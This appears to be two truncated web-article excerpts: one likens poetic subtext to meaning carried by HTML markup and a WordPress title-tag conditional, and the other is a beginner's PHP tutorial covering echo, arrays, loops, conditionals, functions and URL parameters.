On the surface, the poem’s closing lines simply state that the narrator thinks the woods are lovely but that he has promises to keep and a long journey before he gets to bed. But there is also critical discussion about the meaning that lurks below the surface of these lines. Not to go into too much analysis here, but it has been suggested that these lines indicate a deep yearning in the narrator to abandon the responsibilities of society and retreat to the embrace of nature, possibly even to death.

Again, code can be very similar, though in a different way. Instead of having a surface meaning and an underlying meaning, code (and specifically HTML) creates meaning through both its semantics and its structure. For example, consider these two lines:
<p>The Wasteland</p><h1>The Wasteland</h1>The content is identical, but the context created by the mark-up is entirely different. In the first instance, the content is a paragraph (or simple body text). In the second, it is a first-level heading. The two are very different. Here’s another example:
<p>This is a paragraph.</p><p>This <em>is</em> a paragraph.</p>The first sentence is a simple statement. But the emphasis in the second sentence on the word “is” changes the meaning. Now it becomes more of an affirmation against the (quite legitimate) claim that a single sentence does not really constitute a paragraph. Also, notice the choice of tag, using the semantic em tag for emphasis, instead of the simple italics tag.
Similarly, a language such as PHP provides contextual meaning through conditional logic. For example, here is a snippet of WordPress code that I often use to generate the content of the title tag:

<?php
if(is_home()){
echo "Home :: ";
}
elseif(is_single()){
echo the_title() . " :: ";
}
elseif(is_page()){
echo the_title() . " :: ";
}
elseif(is_category()){
echo single_cat_title() . " :: ";
}
elseif(is_tag()){
echo "Articles tagged as \"";
echo single_tag_title() . "\" :: ";
}
elseif(is_date()){
echo "Articles posted in ";
echo the_time('F, Y') . " :: ";
}
?>
In this case, the code produces a different title, based on the type of content being generated. It’s much differe[…]

  In this article, I’ll introduce you to the fundamentals of PHP. We’ll focus on using PHP to access Web services and on turning static HTML pages into dynamic ones by retrieving data from the Web and by showing different content depending on what the user has entered in a form or requested in the URL.
You won’t come out a professional PHP developer, but you’ll be well on your way to building a small page that uses Web services. You can find a lot of great PHP info on the Web, and most of the time you will end up on PHP.net itself. But I was asked repeatedly on several hack days and competitions to write this quick introduction article, so here it is.
[By the way, did you know we have a brand new free Smashing Email Newsletter? Subscribe now and get fresh short tips and tricks on Tuesdays!]
What Is PHP?PHP is a server-side language that has become a massive success for three reasons:
It is a very easy and forgiving language. Variables can be anything, and you can create them anytime you want.It is part of the free LAMP stack (Linux, Apache, MySQL, PHP) and thus available on almost any server you can rent on the Web.It does not need a special editor, environment or build process. All you do is create a file of the .php file type, mix PHP and HTML and then put it on your server for rendering.Installing PHP Locally, And Your First CodeTo run PHP locally on your computer, you’ll need a local server with PHP enabled. The easiest way to do this is to download and install MAMP for OS X or XAMPP for Windows. Once you’ve installed any of these packages, you can start using PHP. Simply create a file named index.php in the htdocs folder of your MAMP or XAMPP installation.
In this file, type (or copy and paste) the following:
<?php
$myname = 'Chris';
echo '<p>This is PHP</p>';
echo "<p>My name is $myname</p>"
echo '<p>My name in another notation is still '.$myname.'</p>';
?>If you open this file in a browser by accessing your XAMPP or MAMP installation (via http://localhost/index.php or http://localhost:8888/index.php), you should see the following:
This is PHP
My name is Chris
My name in another notation is still ChrisBut you won’t see that. The problem is that the third line does not end in a semicolon (;). This is an error. Depending on your PHP installation, you’ll get either an error message or simply nothing. If you get nothing, then find the file named php_error.log on your hard drive, and open it. It will tell you what went wrong.

The first thing to remember, then, is that every line of PHP has to end in a semicolon. If we fix this problem, we get this result:

<?php
$myname = 'Chris';
echo '<p>This is PHP</p>';
echo "<p>My name is $myname</p>";
echo '<p>My name in another notation is still '.$myname.'</p>';
?>We can see here the first few important features of PHP:
PHP blocks start with <?php and end with ?>. Anything between these two commands is interpreted as being PHP and returned to the document as HTML.Every line of PHP has to end with a semicolon (;), or else it is an error.Variables in PHP start with a $, not with the var keyword as you do in JavaScript (this is where it gets confusing with jQuery and Prototype).You print content to the document in PHP with the echo command. There is also a print command, which does almost the same, so you can use that, too.In this example, we have defined a string named myname as “Chris”. To print it with the echo command surrounded by other text, you need to either embed the variable name in a text with quotation marks or concatenate the string with a full stop when you use single quotation marks. This is line 3 and 4: they do the same thing but demonstrate the different syntax. Concatenation is always achieved with a full stop, never with a + as you do in JavaScript.You can jump in and out of PHP anywhere in the document. Thus, interspersing PHP with HTML blocks is totally fine. For example:
<?php
$origin = 'Outer Space';
$planet = 'Earth';
$plan = 9;
$sceneryType = "awful";
?>
<h1>Synopsis</h1>

<p>It was a peaceful time on planet <?php echo $planet;?>
and people in the <?php echo $sceneryType;?> scenery were unaware
of the diabolical plan <?php echo $plan;?> from <?php echo $origin;?>
that was about to take their senses to the edge of what could be endured.</p>This outputs the following:

Are you with me so far? To show something on the screen, particularly numbers or a string, we use echo. To show more complex structures, we need loops or specialized debugging methods.
Displaying More Complex Data TypesYou can define arrays in PHP using the array() method:
$lampstack = array('Linux','Apache','MySQL','PHP');If you simply want to display a complex data type like this in PHP for debugging, you can use the print_r() command:
$lampstack = array('Linux','Apache','MySQL','PHP');
print_r($lampstack);This gives you all the information, but it doesn’t help you structure it as HTML:

For this, you need to access the elements with the array counter. In PHP this is done with the [] brackets:
<ul>
<?php
$lampstack = array('Linux','Apache','MySQL','PHP');
echo '<li>Operating System:'.$lampstack[0] . '</li>';
echo '<li>Server:' . $lampstack[1] . '</li>';
echo '<li>Database:' . $lampstack[2] . '</li>';
echo '<li>Language:' . $lampstack[3] . '</li>';
?>
</ul>See this demo in action.
This is, of course, stupid programming because it is not flexible. If a computer is able to the dirty work for you, make it do it. In this case, we can define two arrays and use a loop:
<ul>
<?php
$lampstack = array('Linux','Apache','MySQL','PHP');
$labels = array('Operating System','Server','Database','Language');
$length = sizeof($lampstack);
for( $i = 0;$i < $length;$i++ ){
echo '<li>' . $labels[$i] . ':' . $lampstack[$i] . '</li>';
}
?>
</ul>The for loop works the same as it does in JavaScript. The only difference is that you read the size of an array not with array.length but with sizeof($array).
Again, this example is not very clever because it assumes that both the $lampstack and the $labels array are of the same length and in the same order. Instead of using this, I’d use an associated array:
<ul>
<?php
$lampstack = array(
'Operating System' => 'Linux',
'Server' => 'Apache',
'Database' => 'MySQL',
'Language' => 'PHP'
);
$length = sizeof($lampstack);
$keys = array_keys($lampstack);
for( $i = 0;$i < $length;$i++ ){
echo '<li>' . $keys[$i] . ':' . $lampstack[$keys[$i]] . '</li>';
}
?>
</ul>
The function array_keys() gives you back all the keys of an array as an array itself. This way, we can display the keys and the values at the same time.
A shorter way to achieve the same principle, and which works with both arrays and objects, is to use the foreach() loop construct:
<ul>
<?php
$lampstack = array(
'Operating System' => 'Linux',
'Server' => 'Apache',
'Database' => 'MySQL',
'Language' => 'PHP'
);
foreach( $lampstack as $key => $stackelm ){
echo '<li>' . $key . ':' . $stackelm . '</li>';
}
?>
</ul>This is the shortest way to display a complex construct. But it will fail when $lampstack is not an array. So, checking for sizeof() is still a good plan. You can do this with a conditional.
Using ConditionalsConditionals are “if” statements, both in the English language and in almost any programming language I know. So, to test whether an array is safe to loop over, we could use the sizeof() test:
<ul>
<?php
$lampstack = array(
'Operating System' => 'Linux',
'Server' => 'Apache',
'Database' => 'MySQL',
'Language' => 'PHP'
);
if( sizeof($lampstack) > 0 ){
foreach( $lampstack as $key => $stackelm ){
echo '<li>' . $key . ':' . $stackelm . '</li>';
}
}
?>
</ul>Common conditionals are:
if($x > 10 and $x < 20) Is $x bigger than 10 and less than 20?if(isset($name)) Has the variable $name been defined?if($name == 'Chris') Does the variable $name have the value of "Chris"?if($name == 'Chris' or $name == 'Vitaly') Does the variable $name have the value of "Chris" or "Vitaly"?Cool, but what if we want to make this reusable?
Functions In PHPTo make a task even more generic, we can write a function. In this case, we put the loop and the testing in a function and simply call it with different arrays:
<?php
function renderList($array){
if( sizeof($array) > 0 ){
echo '<ul>';
foreach( $array as $key => $item ){
echo '<li>' . $key . ':' . $item . '</li>';
}
echo '</ul>';
}
}
$lampstack = array(
'Operating System' => 'Linux',
'Server' => 'Apache',
'Database' => 'MySQL',
'Language' => 'PHP'
);
renderList($lampstack);

$awfulacting = array(
'Natalie Portman' => 'Star Wars',
'Arnold Schwarzenegger' => 'Batman and Robin',
'Keanu Reaves' => '*'
);
renderList($awfulacting);
?>Note that functions do not begin with a dollar sign.
We've already seen most of the magic of PHP. The rest is all about building functions to do all kinds of things: converting strings, sorting arrays, finding things in other things, accessing the file system, setting cookies and much more, each of which does one and only one thing right. I keep catching myself writing complex functions in PHP, only to realize from looking at the documentation that a native function already exists for it.
Interacting With The Web: URL ParametersLet's start playing with the Web in PHP… or, more precisely, playing with information that comes from the browser's address bar or with forms that we can re-use. To get parameters from the current URL, we use the global $_GET array. So, if you call the index.php script with http://localhost/index.php?language=fr&font=large, you can change the display and locale by checking for these settings. The language parameter will be available as $_GET['language'], and the font parameter as $_GET['font']:
<?php
$name = 'Chris';

// if there is no language defined, switch to English
if( !isset($_GET['language']) ){
$welcome = 'Oh, hello there, ';
}
if( $_GET['language'] == 'fr' ){
$welcome = 'Salut, ';
}
swi[…]